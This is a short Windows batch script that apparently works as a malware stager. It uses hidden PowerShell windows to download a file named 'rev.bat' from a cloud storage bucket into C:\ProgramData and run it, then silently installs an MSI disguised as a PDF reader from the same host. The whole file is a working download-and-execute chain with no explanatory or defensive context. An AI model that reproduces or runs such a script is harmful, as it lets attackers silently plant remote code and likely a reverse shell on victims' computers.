@echo off
REM Download file using PowerShell
powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://fesad.s3.eu-north-1.amazonaws.com/rev.bat -OutFile C:\ProgramData\rev.bat"
REM Run the downloaded batch file
call C:\ProgramData\rev.bat
REM Wait for 15 seconds
powershell -WindowStyle Hidden -Command "Start-Sleep -Seconds 15"
REM Run msiexec to install MSI
start /wait "" msiexec.exe /i https://fesad.s3.eu-north-1.amazonaws.com/Apppdfread.msi /qn